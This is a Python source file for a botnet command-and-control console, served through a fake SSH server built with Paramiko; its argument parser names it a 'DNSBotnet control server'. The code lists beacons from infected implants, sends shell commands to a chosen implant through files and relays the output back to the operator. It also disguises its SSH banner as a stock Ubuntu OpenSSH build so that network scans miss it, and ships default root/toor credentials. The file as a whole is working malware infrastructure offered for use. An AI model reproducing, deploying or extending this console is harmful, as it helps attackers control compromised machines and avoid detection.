"""Fake SSH Server Utilizing Paramiko"""
import argparse
import threading
import socket
import sys
import traceback
import paramiko
import json
import time
from datetime import datetime
import os

__location__ = os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(__file__)))
HOST_KEY = paramiko.RSAKey(filename=os.path.join(__location__, 'id_rsa'))

current_implant = ""


HELP_MESSAGE = """Available commands:
help        - This message
id          - Show all beacons
id <ID>     - Show a particular implant's output (not beacons)
t <ID>      - Task the current implant (after ID is set)
exit        - Goodbye.
"""


def handle_cmd(cmd, chan):
    global current_implant
    cmds = cmd.split(" ")
    command = cmds[0]
    argument = " ".join(i for i in cmds[1:])
    content = ""
    if command == "help":
        content += HELP_MESSAGE
    elif command == "id":
        if not argument:
            current_implant = ""
            content += "{time} Watching everything\r\n".format(time=datetime.now().strftime('%Y/%m/%d %H:%M:%S'))
        else:
            current_implant = argument
            content += "{time} Watching implant with ID \"{id}\"\r\n".format(time=datetime.now().strftime('%Y/%m/%d %H:%M:%S'),id=argument)
    elif command == "t":
        if current_implant:
            content += "{time} Queued task for implant {id}: \"{command}\"\r\n".format(time=datetime.now().strftime('%Y/%m/%d %H:%M:%S'),id=current_implant,command=argument)
            thread = command_dispatcher(current_implant,argument,chan)
            thread.start()
        else:
            content += "Need an ID (id <id>) before tasking\r\n"
    else:
        content += ("Unknown command: \"{command}\"\r\n".format(command=cmd))

    content += current_implant+"> "
    chan.send(content)
    return


# to display new incoming beacons to the ssh client
class beacon_monitor(threading.Thread):
    def __init__(self,beacon_files,chan):
        threading.Thread.__init__(self)
        self.beacon_files = beacon_files
        self.chan = chan

    def run(self):
        global current_implant

        # clear the content in beacon_files
        with open(self.beacon_files,"w") as f:
            f.write("")

        f = open(self.beacon_files,"r")
        # place the pointer at the end of the file
        # to watch the new incoming beacons
        f.seek(0,2)
        while True:
            # if user has not specified the implant
            if not current_implant:
                beacon = f.read()
                if beacon:
                    self.chan.send("\r\n{beacon}\r\n> ".format(beacon=beacon))
                else:
                    time.sleep(1)
            else:
                # place the pointer at the end of the file
                # to watch the new incoming beacons
                f.seek(0,2)
                time.sleep(1)


class command_dispatcher(threading.Thread):
    def __init__(self,implant,command,chan):
        threading.Thread.__init__(self)
        self.implant=implant
        self.command = command
        self.chan = chan

    def run(self):
        global current_implant
        with open("{id}-command.txt".format(id=self.implant),"w") as f:
            f.write(self.command)
        while not os.path.isfile("{id}-output.txt".format(id=self.implant)):
            time.sleep(1)
        with open("{id}-output.txt".format(id=self.implant),"r") as f:
            output = f.read()
        os.unlink("{id}-output.txt".format(id=self.implant))
        self.chan.send("\r\n{time} Queued task for implant {id}: {command}\r\n{output}\r\n{current_id}> ".format(time=datetime.now().strftime('%Y/%m/%d %H:%M:%S'),id=self.implant,command=self.command,output=output,current_id=current_implant))


class FakeSshServer(paramiko.ServerInterface):
    """Settings for paramiko server interface"""
    def __init__(self):
        self.event = threading.Event()

    def check_channel_request(self, kind, chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

    def check_auth_password(self, username, password):
        if username == USERNAME and password == PASSWORD:
            return paramiko.AUTH_SUCCESSFUL
        else:
            return paramiko.AUTH_FAILED

    def get_allowed_auths(self, username):
        return 'password'

    def check_channel_shell_request(self, channel):
        self.event.set()
        return True

    def check_channel_pty_request(self, channel, term, width, height, pixelwidth, pixelheight, modes):
        return True

def start_server():
    """Init and run the ssh server"""
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        sock.bind(('', PORT))
    except Exception as err:
        print('*** Bind failed: {}'.format(err))
        traceback.print_exc()
        sys.exit(1)

    while True:
        try:
            sock.listen(100)
            print('Listening for connection ...')
            client, addr = sock.accept()
        except Exception as err:
            print('*** Listen/accept failed: {}'.format(err))
            traceback.print_exc()

        print('Got a connection!')
        try:
            transport = paramiko.Transport(client)
            transport.add_server_key(HOST_KEY)
            # Change banner to appear legit on nmap (or other network) scans
            transport.local_version = "SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3"
            server = FakeSshServer()
            try:
                transport.start_server(server=server)
            except paramiko.SSHException:
                print('*** SSH negotiation failed.')
                raise Exception("SSH negotiation failed")
            # wait for auth
            chan = transport.accept(20)
            if chan is None:
                print('*** No channel.')
                raise Exception("No channel")

            server.event.wait(10)
            if not server.event.is_set():
                print('*** Client never asked for a shell.')
                raise Exception("No shell request")

            try:
                content = "Welcome to the my C2 control server\r\n\r\n"
                content += (HELP_MESSAGE+"\r\n> ")
                chan.send(content)

                global current_implant

                # start a thread to monitor incoming beacons
                thread = beacon_monitor("beacons_list.txt",chan)
                thread.start()

                while True:
                    # I tried to make it pseudo-interactive
                    # but backspace can't be correctly handled. So I guess that's it.
                    f = chan.makefile("rU")
                    command = f.readline().rstrip()
                    if command == "exit" :
                        chan.send("bye")
                        break
                    else:
                        handle_cmd(command, chan)

            except Exception as err:
                print('!!! Exception: {}: {}'.format(err.__class__, err))
                traceback.print_exc()
                try:
                    transport.close()
                except Exception:
                    pass
            chan.close()

        except Exception as err:
            print('!!! Exception: {}: {}'.format(err.__class__, err))
            traceback.print_exc()
            try:
                transport.close()
            except Exception:
                pass


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="DNSBotnet control server")
    parser.add_argument("-username", help="the username of the C2 ssh server, default to be 'root'", required=False, default="root")
    parser.add_argument("-password", help="the password of the C2 ssh server, default to be 'toor'", required=False, default="toor")
    parser.add_argument("-port", help="the port of the C2 ssh server to be listening on, default to be 2222", required=False, type=int, default=2222)

    args = parser.parse_args()

    USERNAME = args.username
    PASSWORD = args.password
    PORT = args.port

    print(USERNAME,PASSWORD,PORT)
    start_server()

